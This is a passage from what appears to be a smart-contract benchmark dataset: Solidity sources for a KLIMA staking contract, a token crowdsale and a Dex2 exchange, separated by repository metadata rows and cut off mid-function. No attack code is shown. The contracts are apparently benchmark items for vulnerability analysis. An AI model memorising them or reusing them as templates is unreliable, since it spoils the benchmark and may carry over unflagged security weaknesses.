uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _KLIMA,
address _sKLIMA,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_KLIMA != address(0));
KLIMA = _KLIMA;
require(_sKLIMA != address(0));
sKLIMA = _sKLIMA;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(KLIMA).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsKLIMA(sKLIMA).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sKLIMA).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsKLIMA(sKLIMA).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsKLIMA(sKLIMA).balanceForGons(info.gons));
IERC20(KLIMA).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sKLIMA).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(KLIMA).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsKLIMA(sKLIMA).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsKLIMA(sKLIMA).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsKLIMA(sKLIMA).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(KLIMA).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sKLIMA).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sKLIMA).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 70,000 | 11,751 |
22642f9259e1fb92bd695e532fbecc3afc13307af503161e3741d8345eee7281
| 16,536 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xca6bfff19a5b5504d03945897907e78f5fc9287b.sol
| 3,849 | 13,120 |
pragma solidity ^0.4.0;
contract Ownable {
modifier onlyOwner() {
checkOwner();
_;
}
function checkOwner() internal;
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract OwnableImpl is Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableImpl() public {
owner = msg.sender;
}
function checkOwner() internal {
require(msg.sender == owner);
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ReadOnlyToken {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function allowance(address owner, address spender) public constant returns (uint256);
}
contract Token is ReadOnlyToken {
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MintableToken is Token {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) public returns (bool);
}
contract Sale {
event Purchase(address indexed buyer, address token, uint256 value, uint256 sold, uint256 bonus);
event RateAdd(address token);
event RateRemove(address token);
function getRate(address token) constant public returns (uint256);
function getBonus(uint256 sold) constant public returns (uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ExternalToken is Token {
event Mint(address indexed to, uint256 value, bytes data);
event Burn(address indexed burner, uint256 value, bytes data);
function burn(uint256 _value, bytes _data) public;
}
contract ReceiveAdapter {
function onReceive(address _token, address _from, uint256 _value, bytes _data) internal;
}
contract ERC20ReceiveAdapter is ReceiveAdapter {
function receive(address _token, uint256 _value, bytes _data) public {
Token token = Token(_token);
token.transferFrom(msg.sender, this, _value);
onReceive(_token, msg.sender, _value, _data);
}
}
contract TokenReceiver {
function onTokenTransfer(address _from, uint256 _value, bytes _data) public;
}
contract ERC223ReceiveAdapter is TokenReceiver, ReceiveAdapter {
function tokenFallback(address _from, uint256 _value, bytes _data) public {
onReceive(msg.sender, _from, _value, _data);
}
function onTokenTransfer(address _from, uint256 _value, bytes _data) public {
onReceive(msg.sender, _from, _value, _data);
}
}
contract EtherReceiver {
function receiveWithData(bytes _data) payable public;
}
contract EtherReceiveAdapter is EtherReceiver, ReceiveAdapter {
function () payable public {
receiveWithData("");
}
function receiveWithData(bytes _data) payable public {
onReceive(address(0), msg.sender, msg.value, _data);
}
}
contract CompatReceiveAdapter is ERC20ReceiveAdapter, ERC223ReceiveAdapter, EtherReceiveAdapter {
}
contract AbstractSale is Sale, CompatReceiveAdapter, Ownable {
using SafeMath for uint256;
event Withdraw(address token, address to, uint256 value);
event Burn(address token, uint256 value, bytes data);
function onReceive(address _token, address _from, uint256 _value, bytes _data) internal {
uint256 sold = getSold(_token, _value);
require(sold > 0);
uint256 bonus = getBonus(sold);
address buyer;
if (_data.length == 20) {
buyer = address(toBytes20(_data, 0));
} else {
require(_data.length == 0);
buyer = _from;
}
checkPurchaseValid(buyer, sold, bonus);
doPurchase(buyer, sold, bonus);
Purchase(buyer, _token, _value, sold, bonus);
onPurchase(buyer, _token, _value, sold, bonus);
}
function getSold(address _token, uint256 _value) constant public returns (uint256) {
uint256 rate = getRate(_token);
require(rate > 0);
return _value.mul(rate).div(10**18);
}
function getBonus(uint256 sold) constant public returns (uint256);
function getRate(address _token) constant public returns (uint256);
function doPurchase(address buyer, uint256 sold, uint256 bonus) internal;
function checkPurchaseValid(address , uint256 , uint256) internal {
}
function onPurchase(address , address , uint256 , uint256 , uint256) internal {
}
function toBytes20(bytes b, uint256 _start) pure internal returns (bytes20 result) {
require(_start + 20 <= b.length);
assembly {
let from := add(_start, add(b, 0x20))
result := mload(from)
}
}
function withdrawEth(address _to, uint256 _value) onlyOwner public {
withdraw(address(0), _to, _value);
}
function withdraw(address _token, address _to, uint256 _value) onlyOwner public {
require(_to != address(0));
verifyCanWithdraw(_token, _to, _value);
if (_token == address(0)) {
_to.transfer(_value);
} else {
Token(_token).transfer(_to, _value);
}
Withdraw(_token, _to, _value);
}
function verifyCanWithdraw(address token, address to, uint256 amount) internal;
function burnWithData(address _token, uint256 _value, bytes _data) onlyOwner public {
ExternalToken(_token).burn(_value, _data);
Burn(_token, _value, _data);
}
}
contract MintingSale is AbstractSale {
MintableToken public token;
function MintingSale(address _token) public {
token = MintableToken(_token);
}
function doPurchase(address buyer, uint256 sold, uint256 bonus) internal {
token.mint(buyer, sold.add(bonus));
}
function verifyCanWithdraw(address, address, uint256) internal {
}
}
contract CappedSale is AbstractSale {
uint256 public cap;
uint256 public initialCap;
function CappedSale(uint256 _cap) public {
cap = _cap;
initialCap = _cap;
}
function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal {
super.checkPurchaseValid(buyer, sold, bonus);
require(cap >= sold);
}
function onPurchase(address buyer, address token, uint256 value, uint256 sold, uint256 bonus) internal {
super.onPurchase(buyer, token, value, sold, bonus);
cap = cap.sub(sold);
}
}
contract PeriodSale is AbstractSale {
uint256 public start;
uint256 public end;
function PeriodSale(uint256 _start, uint256 _end) public {
start = _start;
end = _end;
}
function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal {
super.checkPurchaseValid(buyer, sold, bonus);
require(now > start && now < end);
}
}
contract Eticket4Sale is MintingSale, PeriodSale, OwnableImpl, CappedSale {
address public btcToken;
uint256 public btcEthRate = 10 * 10**10;
uint256 public constant ethEt4Rate = 1000 * 10**18;
function Eticket4Sale(address _mintableToken,
address _btcToken,
uint256 _start,
uint256 _end,
uint256 _cap)
MintingSale(_mintableToken)
PeriodSale(_start, _end)
CappedSale(_cap) {
btcToken = _btcToken;
RateAdd(address(0));
RateAdd(_btcToken);
}
function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal {
super.checkPurchaseValid(buyer, sold, bonus);
require(now > start && now < end);
}
function getRate(address _token) constant public returns (uint256) {
if (_token == btcToken) {
return btcEthRate * ethEt4Rate;
} else if (_token == address(0)) {
return ethEt4Rate;
} else {
return 0;
}
}
event BtcEthRateChange(uint256 btcEthRate);
function setBtcEthRate(uint256 _btcEthRate) onlyOwner public {
btcEthRate = _btcEthRate;
BtcEthRateChange(_btcEthRate);
}
function withdrawBtc(bytes _to, uint256 _value) onlyOwner public {
burnWithData(btcToken, _value, _to);
}
function transferTokenOwnership(address newOwner) onlyOwner public {
OwnableImpl(token).transferOwnership(newOwner);
}
function pauseToken() onlyOwner public {
Pausable(token).pause();
}
function unpauseToken() onlyOwner public {
Pausable(token).unpause();
}
function transferWithBonus(address beneficiary, uint256 amount) onlyOwner public {
uint256 bonus = getBonus(amount);
doPurchase(beneficiary, amount, bonus);
Purchase(beneficiary, address(1), 0, amount, bonus);
onPurchase(beneficiary, address(1), 0, amount, bonus);
}
function transfer(address beneficiary, uint256 amount) onlyOwner public {
doPurchase(beneficiary, amount, 0);
Purchase(beneficiary, address(1), 0, amount, 0);
onPurchase(beneficiary, address(1), 0, amount, 0);
}
}
contract DaoxCommissionSale is AbstractSale {
function getSold(address _token, uint256 _value) constant public returns (uint256) {
return super.getSold(_token, _value).div(99).mul(100);
}
}
contract Secured {
modifier only(string role) {
require(msg.sender == getRole(role));
_;
}
function getRole(string role) constant public returns (address);
}
contract SecuredImpl is Ownable, Secured {
mapping(string => address) users;
event RoleTransferred(address indexed previousUser, address indexed newUser, string role);
function getRole(string role) constant public returns (address) {
return users[role];
}
function transferRole(string role, address to) onlyOwner public {
require(to != address(0));
RoleTransferred(users[role], to, role);
users[role] = to;
}
}
contract Whitelist is Secured {
mapping(address => bool) whitelist;
event WhitelistChange(address indexed addr, bool allow);
function isInWhitelist(address addr) constant public returns (bool) {
return whitelist[addr];
}
function setWhitelist(address addr, bool allow) only("operator") public {
setWhitelistInternal(addr, allow);
}
function setWhitelistInternal(address addr, bool allow) internal {
whitelist[addr] = allow;
WhitelistChange(addr, allow);
}
}
contract PublicSale is SecuredImpl, Whitelist, Eticket4Sale, DaoxCommissionSale {
function PublicSale(address _mintableToken,
address _btcToken,
uint256 _start,
uint256 _end,
uint256 _cap)
Eticket4Sale(_mintableToken, _btcToken, _start, _end, _cap) {
}
function getBonus(uint256 sold) constant public returns (uint256) {
return getTimeBonus(sold) + getAmountBonus(sold);
}
function getTimeBonus(uint256 sold) internal returns (uint256) {
uint256 interval = (now - start) / (86400 * 5);
if (interval == 0) {
return sold.mul(6).div(100);
} else if (interval == 1) {
return sold.mul(4).div(100);
} else if (interval == 2 || interval == 3) {
return sold.mul(3).div(100);
} else {
return sold.mul(1).div(100);
}
}
function getAmountBonus(uint256 sold) internal returns (uint256) {
if (sold > 20000 * 10 ** 18) {
return sold.mul(25).div(100);
} else if (sold > 15000 * 10 ** 18) {
return sold.mul(20).div(100);
} else if (sold > 10000 * 10 ** 18) {
return sold.mul(15).div(100);
} else if (sold > 5000 * 10 ** 18) {
return sold.mul(10).div(100);
} else if (sold > 1000 * 10 ** 18) {
return sold.mul(5).div(100);
} else {
return 0;
}
}
function checkPurchaseValid(address buyer, uint256 sold, uint256 bonus) internal {
super.checkPurchaseValid(buyer, sold, bonus);
if (sold >= 10000 * 10 ** 18) {
require(isInWhitelist(buyer));
}
}
}
| 181,265 | 11,752 |
f6d274373cbd6f96bf07c1b30de1994825fff2b003883eaade6a79ba8177f480
| 19,682 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xdd7283ea985a030c66e85ed63e9dde4f5eab56d5.sol
| 5,978 | 19,314 |
pragma solidity 0.4.21;
pragma experimental "v0.5.0";
interface Token {
function totalSupply() external returns (uint256);
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function approve(address, uint256) external returns (bool);
function allowance(address, address) external returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Dex2 {
struct TokenInfo {
string symbol;
address tokenAddr;
uint64 scaleFactor;
uint minDeposit;
}
struct TraderInfo {
address withdrawAddr;
uint8 feeRebatePercent;
}
struct TokenAccount {
uint64 balanceE8;
uint64 pendingWithdrawE8;
}
struct Order {
uint32 pairId;
uint8 action;
uint8 ioc;
uint64 priceE8;
uint64 amountE8;
uint64 expireTimeSec;
}
struct Deposit {
address traderAddr;
uint16 tokenCode;
uint64 pendingAmountE8;
}
struct DealInfo {
uint16 stockCode;
uint16 cashCode;
uint64 stockDealAmountE8;
uint64 cashDealAmountE8;
}
struct ExeStatus {
uint64 logicTimeSec;
uint64 lastOperationIndex;
}
uint constant MAX_UINT256 = 2**256 - 1;
uint16 constant MAX_FEE_RATE_E4 = 60;
uint64 constant ETH_SCALE_FACTOR = 10**18;
uint8 constant ACTIVE = 0;
uint8 constant CLOSED = 2;
bytes32 constant HASHTYPES =
keccak256('string title', 'address market_address', 'uint64 nonce', 'uint64 expire_time_sec',
'uint64 amount_e8', 'uint64 price_e8', 'uint8 immediate_or_cancel', 'uint8 action',
'uint16 cash_token_code', 'uint16 stock_token_code');
address public admin;
mapping (uint16 => TokenInfo) public tokens;
uint8 public marketStatus;
uint16 public makerFeeRateE4;
uint16 public takerFeeRateE4;
uint16 public withdrawFeeRateE4;
uint64 public lastDepositIndex;
ExeStatus public exeStatus;
mapping (address => TraderInfo) public traders;
mapping (uint176 => TokenAccount) public accounts;
mapping (uint224 => Order) public orders;
mapping (uint64 => Deposit) public deposits;
event DeployMarketEvent();
event ChangeMarketStatusEvent(uint8 status);
event SetTokenInfoEvent(uint16 tokenCode, string symbol, address tokenAddr, uint64 scaleFactor, uint minDeposit);
event SetWithdrawAddrEvent(address trader, address withdrawAddr);
event DepositEvent(address trader, uint16 tokenCode, string symbol, uint64 amountE8, uint64 depositIndex);
event WithdrawEvent(address trader, uint16 tokenCode, string symbol, uint64 amountE8, uint64 lastOpIndex);
event TransferFeeEvent(uint16 tokenCode, uint64 amountE8, address toAddr);
event ConfirmDepositEvent(address trader, uint16 tokenCode, uint64 balanceE8);
event InitiateWithdrawEvent(address trader, uint16 tokenCode, uint64 amountE8, uint64 pendingWithdrawE8);
event MatchOrdersEvent(address trader1, uint64 nonce1, address trader2, uint64 nonce2);
event HardCancelOrderEvent(address trader, uint64 nonce);
event SetFeeRatesEvent(uint16 makerFeeRateE4, uint16 takerFeeRateE4, uint16 withdrawFeeRateE4);
event SetFeeRebatePercentEvent(address trader, uint8 feeRebatePercent);
function Dex2(address admin_) public {
admin = admin_;
setTokenInfo(0 , "ETH", 0 , ETH_SCALE_FACTOR, 0);
emit DeployMarketEvent();
}
function() external {
revert();
}
function changeMarketStatus(uint8 status_) external {
if (msg.sender != admin) revert();
if (marketStatus == CLOSED) revert();
marketStatus = status_;
emit ChangeMarketStatusEvent(status_);
}
function setWithdrawAddr(address withdrawAddr) external {
if (withdrawAddr == 0) revert();
if (traders[msg.sender].withdrawAddr != 0) revert();
traders[msg.sender].withdrawAddr = withdrawAddr;
emit SetWithdrawAddrEvent(msg.sender, withdrawAddr);
}
function depositEth(address traderAddr) external payable {
if (marketStatus != ACTIVE) revert();
if (traderAddr == 0) revert();
if (msg.value < tokens[0].minDeposit) revert();
if (msg.data.length != 4 + 32) revert();
uint64 pendingAmountE8 = uint64(msg.value / (ETH_SCALE_FACTOR / 10**8));
if (pendingAmountE8 == 0) revert();
uint64 depositIndex = ++lastDepositIndex;
setDeposits(depositIndex, traderAddr, 0, pendingAmountE8);
emit DepositEvent(traderAddr, 0, "ETH", pendingAmountE8, depositIndex);
}
function depositToken(address traderAddr, uint16 tokenCode, uint originalAmount) external {
if (marketStatus != ACTIVE) revert();
if (traderAddr == 0) revert();
if (tokenCode == 0) revert();
if (msg.data.length != 4 + 32 + 32 + 32) revert();
TokenInfo memory tokenInfo = tokens[tokenCode];
if (originalAmount < tokenInfo.minDeposit) revert();
if (tokenInfo.scaleFactor == 0) revert();
if (!Token(tokenInfo.tokenAddr).transferFrom(msg.sender, this, originalAmount)) revert();
if (originalAmount > MAX_UINT256 / 10**8) revert();
uint amountE8 = originalAmount * 10**8 / uint(tokenInfo.scaleFactor);
if (amountE8 >= 2**64 || amountE8 == 0) revert();
uint64 depositIndex = ++lastDepositIndex;
setDeposits(depositIndex, traderAddr, tokenCode, uint64(amountE8));
emit DepositEvent(traderAddr, tokenCode, tokens[tokenCode].symbol, uint64(amountE8), depositIndex);
}
function withdrawEth(address traderAddr) external {
if (traderAddr == 0) revert();
if (msg.data.length != 4 + 32) revert();
uint176 accountKey = uint176(traderAddr);
uint amountE8 = accounts[accountKey].pendingWithdrawE8;
if (amountE8 == 0) return;
accounts[accountKey].pendingWithdrawE8 = 0;
uint truncatedWei = amountE8 * (ETH_SCALE_FACTOR / 10**8);
address withdrawAddr = traders[traderAddr].withdrawAddr;
if (withdrawAddr == 0) withdrawAddr = traderAddr;
withdrawAddr.transfer(truncatedWei);
emit WithdrawEvent(traderAddr, 0, "ETH", uint64(amountE8), exeStatus.lastOperationIndex);
}
function withdrawToken(address traderAddr, uint16 tokenCode) external {
if (traderAddr == 0) revert();
if (tokenCode == 0) revert();
if (msg.data.length != 4 + 32 + 32) revert();
TokenInfo memory tokenInfo = tokens[tokenCode];
if (tokenInfo.scaleFactor == 0) revert();
uint176 accountKey = uint176(tokenCode) << 160 | uint176(traderAddr);
uint amountE8 = accounts[accountKey].pendingWithdrawE8;
if (amountE8 == 0) return;
accounts[accountKey].pendingWithdrawE8 = 0;
uint truncatedAmount = amountE8 * uint(tokenInfo.scaleFactor) / 10**8;
address withdrawAddr = traders[traderAddr].withdrawAddr;
if (withdrawAddr == 0) withdrawAddr = traderAddr;
if (!Token(tokenInfo.tokenAddr).transfer(withdrawAddr, truncatedAmount)) revert();
emit WithdrawEvent(traderAddr, tokenCode, tokens[tokenCode].symbol, uint64(amountE8),
exeStatus.lastOperationIndex);
}
function transferFee(uint16 tokenCode, uint64 amountE8, address toAddr) external {
if (msg.sender != admin) revert();
if (toAddr == 0) revert();
if (msg.data.length != 4 + 32 + 32 + 32) revert();
TokenAccount memory feeAccount = accounts[uint176(tokenCode) << 160];
uint64 withdrawE8 = feeAccount.pendingWithdrawE8;
if (amountE8 < withdrawE8) {
withdrawE8 = amountE8;
}
feeAccount.pendingWithdrawE8 -= withdrawE8;
accounts[uint176(tokenCode) << 160] = feeAccount;
TokenInfo memory tokenInfo = tokens[tokenCode];
uint originalAmount = uint(withdrawE8) * uint(tokenInfo.scaleFactor) / 10**8;
if (tokenCode == 0) {
toAddr.transfer(originalAmount);
} else {
if (!Token(tokenInfo.tokenAddr).transfer(toAddr, originalAmount)) revert();
}
emit TransferFeeEvent(tokenCode, withdrawE8, toAddr);
}
function exeSequence(uint header, uint[] body) external {
if (msg.sender != admin) revert();
uint64 nextOperationIndex = uint64(header);
if (nextOperationIndex != exeStatus.lastOperationIndex + 1) revert();
uint64 newLogicTimeSec = uint64(header >> 64);
if (newLogicTimeSec < exeStatus.logicTimeSec) revert();
for (uint i = 0; i < body.length; nextOperationIndex++) {
uint bits = body[i];
uint opcode = bits & 0xFFFF;
bits >>= 16;
if ((opcode >> 8) != 0xDE) revert();
if (opcode == 0xDE01) {
confirmDeposit(uint64(bits));
i += 1;
continue;
}
if (opcode == 0xDE02) {
initiateWithdraw(uint176(bits), uint64(bits >> 176));
i += 1;
continue;
}
if (marketStatus != ACTIVE) revert();
if (opcode == 0xDE03) {
uint8 v1 = uint8(bits);
bits >>= 8;
Order memory makerOrder;
if (v1 == 0) {
if (i + 1 >= body.length) revert();
makerOrder = orders[uint224(bits)];
i += 1;
} else {
if (orders[uint224(bits)].pairId != 0) revert();
if (i + 4 >= body.length) revert();
makerOrder = parseNewOrder(uint224(bits) , v1, body, i);
i += 4;
}
uint8 v2 = uint8(body[i]);
uint224 takerOrderKey = uint224(body[i] >> 8);
Order memory takerOrder;
if (v2 == 0) {
takerOrder = orders[takerOrderKey];
i += 1;
} else {
if (orders[takerOrderKey].pairId != 0) revert();
if (i + 3 >= body.length) revert();
takerOrder = parseNewOrder(takerOrderKey, v2, body, i);
i += 4;
}
matchOrder(uint224(bits) , makerOrder, takerOrderKey, takerOrder);
continue;
}
if (opcode == 0xDE04) {
hardCancelOrder(uint224(bits));
i += 1;
continue;
}
if (opcode == 0xDE05) {
setFeeRates(uint16(bits), uint16(bits >> 16), uint16(bits >> 32));
i += 1;
continue;
}
if (opcode == 0xDE06) {
setFeeRebatePercent(address(bits) , uint8(bits >> 160));
i += 1;
continue;
}
}
setExeStatus(newLogicTimeSec, nextOperationIndex - 1);
}
function setTokenInfo(uint16 tokenCode, string symbol, address tokenAddr, uint64 scaleFactor,
uint minDeposit) public {
if (msg.sender != admin) revert();
if (marketStatus != ACTIVE) revert();
if (scaleFactor == 0) revert();
TokenInfo memory info = tokens[tokenCode];
if (info.scaleFactor != 0) {
tokens[tokenCode].minDeposit = minDeposit;
emit SetTokenInfoEvent(tokenCode, info.symbol, info.tokenAddr, info.scaleFactor, minDeposit);
return;
}
tokens[tokenCode].symbol = symbol;
tokens[tokenCode].tokenAddr = tokenAddr;
tokens[tokenCode].scaleFactor = scaleFactor;
tokens[tokenCode].minDeposit = minDeposit;
emit SetTokenInfoEvent(tokenCode, symbol, tokenAddr, scaleFactor, minDeposit);
}
function setDeposits(uint64 depositIndex, address traderAddr, uint16 tokenCode, uint64 amountE8) private {
deposits[depositIndex].traderAddr = traderAddr;
deposits[depositIndex].tokenCode = tokenCode;
deposits[depositIndex].pendingAmountE8 = amountE8;
}
function setExeStatus(uint64 logicTimeSec, uint64 lastOperationIndex) private {
exeStatus.logicTimeSec = logicTimeSec;
exeStatus.lastOperationIndex = lastOperationIndex;
}
function confirmDeposit(uint64 depositIndex) private {
Deposit memory deposit = deposits[depositIndex];
uint176 accountKey = (uint176(deposit.tokenCode) << 160) | uint176(deposit.traderAddr);
TokenAccount memory account = accounts[accountKey];
if (account.balanceE8 + deposit.pendingAmountE8 <= account.balanceE8) revert();
account.balanceE8 += deposit.pendingAmountE8;
deposits[depositIndex].pendingAmountE8 = 0;
accounts[accountKey].balanceE8 += deposit.pendingAmountE8;
emit ConfirmDepositEvent(deposit.traderAddr, deposit.tokenCode, account.balanceE8);
}
function initiateWithdraw(uint176 tokenAccountKey, uint64 amountE8) private {
uint64 balanceE8 = accounts[tokenAccountKey].balanceE8;
uint64 pendingWithdrawE8 = accounts[tokenAccountKey].pendingWithdrawE8;
if (balanceE8 < amountE8 || amountE8 == 0) revert();
balanceE8 -= amountE8;
uint64 feeE8 = calcFeeE8(amountE8, withdrawFeeRateE4, address(tokenAccountKey));
amountE8 -= feeE8;
if (pendingWithdrawE8 + amountE8 < amountE8) revert();
pendingWithdrawE8 += amountE8;
accounts[tokenAccountKey].balanceE8 = balanceE8;
accounts[tokenAccountKey].pendingWithdrawE8 = pendingWithdrawE8;
if (accounts[tokenAccountKey & (0xffff << 160)].pendingWithdrawE8 + feeE8 >= feeE8) {
accounts[tokenAccountKey & (0xffff << 160)].pendingWithdrawE8 += feeE8;
}
emit InitiateWithdrawEvent(address(tokenAccountKey), uint16(tokenAccountKey >> 160) ,
amountE8, pendingWithdrawE8);
}
function getDealInfo(uint32 pairId, uint64 priceE8, uint64 amount1E8, uint64 amount2E8)
private pure returns (DealInfo deal) {
deal.stockCode = uint16(pairId);
deal.cashCode = uint16(pairId >> 16);
if (deal.stockCode == deal.cashCode) revert();
deal.stockDealAmountE8 = amount1E8 < amount2E8 ? amount1E8 : amount2E8;
uint cashDealAmountE8 = uint(priceE8) * uint(deal.stockDealAmountE8) / 10**8;
if (cashDealAmountE8 >= 2**64) revert();
deal.cashDealAmountE8 = uint64(cashDealAmountE8);
}
function calcFeeE8(uint64 amountE8, uint feeRateE4, address traderAddr)
private view returns (uint64) {
uint feeE8 = uint(amountE8) * feeRateE4 / 10000;
feeE8 -= feeE8 * uint(traders[traderAddr].feeRebatePercent) / 100;
return uint64(feeE8);
}
function settleAccounts(DealInfo deal, address traderAddr, uint feeRateE4, bool isBuyer) private {
uint16 giveTokenCode = isBuyer ? deal.cashCode : deal.stockCode;
uint16 getTokenCode = isBuyer ? deal.stockCode : deal.cashCode;
uint64 giveAmountE8 = isBuyer ? deal.cashDealAmountE8 : deal.stockDealAmountE8;
uint64 getAmountE8 = isBuyer ? deal.stockDealAmountE8 : deal.cashDealAmountE8;
uint176 giveAccountKey = uint176(giveTokenCode) << 160 | uint176(traderAddr);
uint176 getAccountKey = uint176(getTokenCode) << 160 | uint176(traderAddr);
uint64 feeE8 = calcFeeE8(getAmountE8, feeRateE4, traderAddr);
getAmountE8 -= feeE8;
if (accounts[giveAccountKey].balanceE8 < giveAmountE8) revert();
if (accounts[getAccountKey].balanceE8 + getAmountE8 < getAmountE8) revert();
accounts[giveAccountKey].balanceE8 -= giveAmountE8;
accounts[getAccountKey].balanceE8 += getAmountE8;
if (accounts[uint176(getTokenCode) << 160].pendingWithdrawE8 + feeE8 >= feeE8) {
accounts[uint176(getTokenCode) << 160].pendingWithdrawE8 += feeE8;
}
}
function setOrders(uint224 orderKey, uint32 pairId, uint8 action, uint8 ioc,
uint64 priceE8, uint64 amountE8, uint64 expireTimeSec) private {
orders[orderKey].pairId = pairId;
orders[orderKey].action = action;
orders[orderKey].ioc = ioc;
orders[orderKey].priceE8 = priceE8;
orders[orderKey].amountE8 = amountE8;
orders[orderKey].expireTimeSec = expireTimeSec;
}
function matchOrder(uint224 makerOrderKey, Order makerOrder,
uint224 takerOrderKey, Order takerOrder) private {
if (marketStatus != ACTIVE) revert();
if (makerOrderKey == takerOrderKey) revert();
if (makerOrder.pairId != takerOrder.pairId) revert();
if (makerOrder.action == takerOrder.action) revert();
if (makerOrder.priceE8 == 0 || takerOrder.priceE8 == 0) revert();
if (makerOrder.action == 0 && makerOrder.priceE8 < takerOrder.priceE8) revert();
if (takerOrder.action == 0 && takerOrder.priceE8 < makerOrder.priceE8) revert();
if (makerOrder.amountE8 == 0 || takerOrder.amountE8 == 0) revert();
if (makerOrder.expireTimeSec <= exeStatus.logicTimeSec) revert();
if (takerOrder.expireTimeSec <= exeStatus.logicTimeSec) revert();
DealInfo memory deal = getDealInfo(makerOrder.pairId, makerOrder.priceE8, makerOrder.amountE8, takerOrder.amountE8);
settleAccounts(deal, address(makerOrderKey), makerFeeRateE4, (makerOrder.action == 0));
settleAccounts(deal, address(takerOrderKey), takerFeeRateE4, (takerOrder.action == 0));
if (makerOrder.ioc == 1) {
makerOrder.amountE8 = 0;
} else {
makerOrder.amountE8 -= deal.stockDealAmountE8;
}
if (takerOrder.ioc == 1) {
takerOrder.amountE8 = 0;
} else {
takerOrder.amountE8 -= deal.stockDealAmountE8;
}
setOrders(makerOrderKey, makerOrder.pairId, makerOrder.action, makerOrder.ioc,
makerOrder.priceE8, makerOrder.amountE8, makerOrder.expireTimeSec);
setOrders(takerOrderKey, takerOrder.pairId, takerOrder.action, takerOrder.ioc,
takerOrder.priceE8, takerOrder.amountE8, takerOrder.expireTimeSec);
emit MatchOrdersEvent(address(makerOrderKey), uint64(makerOrderKey >> 160) ,
address(takerOrderKey), uint64(takerOrderKey >> 160));
}
function hardCancelOrder(uint224 orderKey) private {
